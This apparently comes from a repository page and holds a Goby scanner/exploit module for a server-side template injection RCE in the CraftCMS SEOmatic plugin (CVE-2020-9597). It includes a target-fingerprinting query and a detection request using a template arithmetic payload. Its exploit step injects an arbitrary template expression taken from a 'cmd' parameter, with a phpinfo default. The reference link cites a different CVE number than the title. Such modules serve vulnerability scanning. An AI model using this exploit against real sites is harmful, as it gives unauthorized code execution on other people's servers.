-
Notifications
You must be signed in to change notification settings - Fork 0
/
CraftCMS_Seomatic_RCE_CVE_2020_9597.json
115 lines (115 loc) · 4.39 KB
/
CraftCMS_Seomatic_RCE_CVE_2020_9597.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
{
"Name": "CraftCMS Seomatic RCE CVE-2020-9597",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "(title==\"Welcome to Craft CMS\" | body=\"href=\\\"http://craftcms.com/\\\"\" | body=\"SEOmatic\" | header=\"Craft CMS\" | header=\"Craft CMS, SEOmatic\")",
"Description": "The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.",
"Product": "craftcms",
"Homepage": "https://craftcms.com/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "craft.app.view.evaluateDynamicContent('phpinfo();')"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/actions/seomatic/meta-container/meta-link-container/?uri={{5*'5'}}",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": [
"r1|rand|int|2",
"r2|rand|int|2"
]
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "MetaLinkContainer",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "canonical",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "25",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/actions/seomatic/meta-container/meta-link-container/?uri=%7B%7B{{{cmd}}}%7D%7D",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-11-11 20:45:35",
"GobyVersion": "1.8.302"
}